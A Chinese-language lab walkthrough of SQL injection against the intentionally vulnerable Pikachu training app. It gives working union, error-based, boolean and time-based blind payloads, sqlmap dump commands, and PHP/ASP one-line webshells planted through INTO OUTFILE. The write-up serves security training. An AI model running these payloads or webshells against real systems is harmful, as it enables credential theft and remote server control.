数据库注入漏洞,主要是开发人员在构建代码时,没有对输入边界进行安全考虑,导致攻击着可以通过合法的输入点提交一些精心构造的语句,从而欺骗后台数据库对其进行执行,导致数据库信息泄露的一种漏洞
通过注入点取期望得到的数据
源码分析:
前端获取的变量id未做任何处理,直接拼接到select语句中进行查询,形成了sql注入。
打开pikachu的数字型sql注入,发现有一个下拉框,随便选中一个值
输出了vince的信息,这里我们发现在url中没有传参,所以是post请求
根据上图想象一下后台的逻辑:因为输出两个字段,所以暂且想象为两个字段
$id = $_POST['id'] select 字段1,字段2 from 表名 where id = $id 正常情况下这里的$id值为(1~6),我们换成 1 or 1=1通过返回来看看后台会不会把这个逻辑去执行。
进行抓包查看,构造payload,发送。返回用户的全部信息
or 1 = 1
源码分析:
这里没有做任何处理,直接拼接到select语句当中
随便输入一个用户名时,提示不存在
当输入kobe时,返回信息
这是一个正常的功能。我们发现在url当中进行了传参,所以这是一个get请求
http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=kobe&submit=%E6%9F%A5%E8%AF%A2
猜想后台是怎样运行的
$username = $_get['username'] select 字段1,字段2 from 表名 where username = '$username';
因为这里的变量是字符型,所以需要构造闭合
kobe' or 1=1 # //这里的#是将后面的单引号注释掉,避免语法错误
执行效果:将用户信息遍历出来了
用户输入是搜索内容直接拼接到sql语句中,这里的变量是模糊匹配,闭合方式%’
$query="select username,id,email from member where username like '%$name%'"; $result=execute($link, $query);
构造闭合
like '%$name%' or 1=1 #%' $name%' or 1=1 # //搜索文本框输入
执行效果:信息全部输出
源码分析:
构造闭合:
('$name') or 1=1 #') $name') or 1=1 # //输入框输入
执行效果:
因为在sql注入测试中,需要经常对多余的内容进行消除,以保证SQL语句语法正确,比如上面的# 使用注释符号直接对多余内容进行注释是比较有效的方法 MySQL服务器支持3种注释 (1)从'#'字符到行尾 (2)从'--'序列到行尾。请注意'--'(双破折号)注释风格要求第2个破折号后面至少跟一个空格符(如空格、tab、换行符等) 该语法与标准SQL注释语法稍有不同 (3)从/*序列后面的*/序列。结束序列不一定在同一行种,因此该语法允许注释跨越多行
总结:不管是啥型,就是对SQL中的各种类型的输入进行闭合测试,构造合法SQL,欺骗后台执行
get方式中使用url提交注入数据
post方式中使用抓包工具修改post数据部分提交注入
不管是get方式还是post方式,都可能会出现SQL注入漏洞,本质其实是一样的
注:这里用字符型注入做演示
order by x 表示对查询的结果进行排序,按照第X列进行排序,默认数字0-9,字母a-z 思路:对查询的结果使用order by按照指定的列进行排序,如果指定的列不存在,数据库会报错 通过报错判断查询结果的列数,从而确定主查询的字段数
构造闭合
a' order by 5#
a' order by 2# //发现没有报错,显示用户名不存在。所以判断列数为2
union联合查询:可以通过联合查询来查询指定的数据
用法举例:
select username,password from user where id=1 union select 字段1,字段2 from 表名 //联合查询的字段数需要和主查询一致
构造闭合
aa' union select database(),user()# aa' union select database(),version()#
在mysql中,自带的information_schema这个表里面存放了大量的重要信息。具体如下:
如果存在注入点的话,可以直接尝试对数据库进行访问,从而获取更多的信息。
比如:
SCHEMATA表:提供了当前mysql实例中所有数据库的信息。是show databases的结果取之此表 TABLES表:提供了关于数据库中的表的信息(包括视图)。详细描述了某个表属于哪个schema,表类型,表引擎,创建时间等信息。是show tables from schemaname的结果取之此表 COLUMNS表:提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。是show columns from schemaname.tablename的结果取之此表
select version(); //取得数据库版本 select database(); //取得当前的数据库 select user(); //取得当前登录的用户
第一步:先输入一个单引号,发现报错,所以可以判断单引号是被拼接到sql语句中,后台把前端的输入当作数据库的一部分来进行逻辑判断。故存在sql注入漏洞
第二步:构造闭合,发现可以遍历出数据
kobe' or 1=1 #
第三步:获取数据库中表的名称
获取表名 select id,email from member where username='kobe' union select table_schema,table_name from information_schema.tables where table_schema='pikachu' test payload: kobe' union select table_schema,table_name from information_schema.tables where table_schema='pikachu'#
执行效果:得出了所有的表名
第四步:获取字段名
获取字段名 select id,email from member where username='kobe' union select table_name,column_name from information_schema.columns where table_name='users'; test payload: kobe' union select table_name,column_name from information_schema.columns where table_name='users'#
执行效果:得出了所有的字段名
第五步:获取字段的内容
获取内容 select id,email from member where username='kobe' union select username,password from users; test payload: kobe' union select username,password from users#
执行效果:获取了用户名,密码
技巧思路: 在MYSQL中使用一些指定的函数来制造报错,从而从报错信息中获取设定的信息 select/insert/update/delete都可以使用报错来获取信息 背景条件: 后台没有屏蔽数据库报错信息,在语法发生错误时会输出在前端
----》updatexml()函数作用:改变(查找并替换)XML文档中符合条件的节点的值
语法:UPDATEXML(xml_document,XPathstring,new_value)
第一个参数:fiedname时String格式,为表中的字段名 第二个参数:XPathstring(Xpath格式的字符串) 第三个参数:new_value,String格式,替换查找到的符合条件的
注:Xpath定位必须是有效的,否则会发生错误
updatexml()函数构造一个报错,通过报错信息来获取信息
kobe' and updatexml(1,concat(0x7e,version()),0)# //concat()函数用于将多个字符串连接成一个字符串,目的是让拼接后的字符串不符合XPath格式使其报错,显示出要查的对象 //0x7e ASCII码,实为~,upadtexml()报错信息为特殊字符、字母及之后的内容,为了前面字母丢失,开头连接一个特殊字符~
kobe' and updatexml(1,concat(0x7e,database()),0)#
kobe' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu')),0)# //报错信息显示只能一次返回一行
//可以使用limit一次一次进行获取表名 kobe' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0)#
//获取第1个位置的数据,步长为1 kobe' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 1,1)),0)#
kobe' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1)),0)#
//获取用户名 kobe' and updatexml(1,concat(0x7e,(select username from users limit 0,1)),0)#
//获取密码 kobe' and updatexml(1,concat(0x7e,(select password from users where username='admin' limit 0,1)),0)#
xiaohong' or updatexml(1,concat(0x7e,database()),0) or '
xiaohong' or updatexml(1,concat(0x7e,database()),0) or '
对于后台来说,delete就是把留言对应的 id 传到了后台,然后后台就把该 id 对应的数据给删除了
1 or updatexml(1,concat(0x7e,database()),0)
因为这个参数实在url里面提交的,所以我们需要在burp上对这个payload做一个url的编码。否则让这一整段不是一个完整的url
-----》extractvalue()函数作用:从目标XML中返回包含所查询值的字符串
语法:ExtractValue(xml_document,xpath_string)
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc 第二个参数:XPath_string(Xpath格式的字符串)
Xpath定位必须是有效的,否则则会发生错误
kobe' and extractvalue(0,concat(0x7e,version()))#
-----》floor()函数作用:向下取整
floor(x),也写做Floor(x),其功能是“向下取整”,或者说“向下舍入”,即取不大于x的最大整数(与“四舍五入”不同,下取整是直接取按照数轴上最接近要求值的左边值,即不大于要求值的最大的那个值)
rand函数不是真正的随机数生成器,而srand()会设置供rand()使用的随机数种子。如果你在第一次调用rand()之前没有调用srand(),那么系统会为你自动调用srand()。而使用同种子相同的数调用 rand()会导致相同的随机数序列被生成。
kobe' and (select 2 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)#
kobe' and (select 2 from (select count(*),concat((select password from users where username='admin'),floor(rand(0)*2))x from information_schema.tables group by x)a)#
一句话木马是一种短小而精悍的木马客户端,隐蔽性好,且功能强大
php:<?php @eval($_POST[‘chopper’]);?> asp:<%eval request("chopper")%> asp.net:<%@Page Language="Jscript"%><%eval(Request.Item["chopper"],"unsafe");%>
注:这里我将本机作为了目标主机
如何把一句话木马写入到服务器上去?
前提条件:
(1)需要知道远程目录
(2)需要远程目录有写权限
(3)需要数据库开启了secure_file_priv
select 1,2 into outfile “D:/phpstudy2018/PHPTutorial/WWW/1.txt”
into outfile 将select的结果写入到指定目录的1.txt中
在一些没有回显的注入中可以使用into outfile将结果写入到指定文件,然后访问获取
在我phpstudy的环境中创建一个php文件,我的路径为:D:\phpstudy2018\PHPTutorial\WWW
然后远程访问,可以访问。这个就是通过sqli进行服务器的远程控制的原理
目前来说很多的网站的应用程序是没有写的权限的,这保护了我们的信息。
对于firefox火狐浏览器,这个浏览器目前可以。
首先查看数据库的secure_file_priv,显示null
修改:打开mysql的配置文件,my.ini
在最下面新添加一行并且保存,然后重启服务,由null变为空
secure_file_priv=
kobe' union select "<?php system($_GET['test'])?>",2 into outfile "D:/phpstudy2018/PHPTutorial/WWW/2.php"#
字符型注入进行测试,虽然有警告,但是已经写入了
kobe' union select "<?php system($_GET['cmd'])?>",2 into outfile "D:/phpstudy2018/PHPTutorial/WWW/3.php"#
有些时候,后台开发人员为了验证客户端头信息(比如常用的cookie验证)
或者通过http header头信息获取客户端的一些信息,比如useragent、accept字段等
会对客户端的http header信息进行获取并使用SQL进行处理,如果此时没有足够的安全考虑,则可能会导致基于http header的SQL Inject漏洞
打开pikachu的“http header”注入
第一步:提交一个单引号,然后发现报错。表明存在sql注入漏洞,因为后台将单引号放到sql语句中执行了
第二步:输入构造的payload
firefox' or updatexml(1,concat(0x7e,database()),0) or '
ant[uname]=admin' and updatexml(1,concat(0x7e,database()),0)#
在有些情况下,后台使用了错误消息屏蔽方法(比如@)屏蔽了报错,此时无法在根据报错信息来进行注入的判断
这种情况下的注入,称为“盲注”
根据表现形式的不同,盲注又分为based boolean和based time两种类型
表现症状:没有报错信息 (1)不管是正确的输入,还是错误的输入,都只显示两种情况(我们可以认为0或者1) (2)在正确的输入下,输入and 1=1/and 1=2发现可以判断
因为kobe存在,and 1=1为真 所以被写入后台,所以存在sql注入
kobe’ and extractvalue(0,concat(0x7e,version()))#
我们发现,只有真假两种情况,所以,构造的payload传到后台得出的结果只有真假两种情况
kobe’ and ascii(substr(database(),1,1))>113#
kobe' and ascii(substr(database(),1,1))=112#
这样,我们就返回了数据库名称的第一个字符“p”
kobe' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<112#
我们猜测第一个字符是小于112的,依次类推,就能得到第一个字符
kobe' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=104#
如果是基于boolean的盲注在页面上还可以看到0 or 1的回显的话,那么基于time的盲注完全就啥都看不到了
但还有一个条件,就是“时间”,通过特定的输入,判断后台执行的时间,从而确认注入
首先,我们用之前的思路进行测试
先输入一个单引号,发现不行
输入kobe’ and 1=1#,也不行
暂停5秒进行测试,把我们输入的payload执行了,说明这块存在sql注入,并且是基于时间的盲注
kobe' and sleep(5)#
构造payload,根据时间的延迟来做判断
用 if 做判断,通过 database 把数据库名称取出来, substr函数表示获得数据库第一个字符,“=”后面进行猜测,如果正好为‘p’,暂停5秒,此时数据库的第一个字符就为‘p’
kobe' and if((substr(database(),1,1))='p',sleep(5),null)#
参考博客:https://www.cnblogs.com/xiaoxiaosen/p/13753936.html
注:在字符型注入进行测试
第一步:输入payload ,显示表不存在
kobe' and exists(select * from aa)# //(1)将kobe’进行查询; (2)将and作为运算符; (3)猜测表aa是否存在,该表名是个字典。若表名存在,表达式为真;否则表达式为假。
第二步:在burp上进行抓包,发送到intruder模块
注:这里要暴力破解的对象是表名aa,因此在此处添加特殊符号
第三步:添加字典
第四步:查看返回结果,存在member和users这两张表
同理通过payload :
kobe' and exists(select id from users)# //猜测列名
如果列名正确,会返回对应结果:
sqlmap是一个自动化的sql注入工具,其主要功能是扫描,发现并利用给定的URL进行sql注入,目前支持数据库有mysql、oracle、access、postagesql、sql server、sqlite等
第一步:对url进行注入探测
sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=111&submit=%E6%9F%A5%E8%AF%A2" --current-db
第二步:获取当前的数据库
sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=111&submit=%E6%9F%A5%E8%AF%A2" --current-db
第三步:获取数据库表的名称
sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=111&submit=%E6%9F%A5%E8%AF%A2" --D pikachu --tables
第四步:获取users表中所有的列名
sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=111&submit=%E6%9F%A5%E8%AF%A2" --D pikachu -T users --columns
第五步:指定users表中具体字段的内容
sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=111&submit=%E6%9F%A5%E8%AF%A2" --D pikachu -T users -C username,password --dump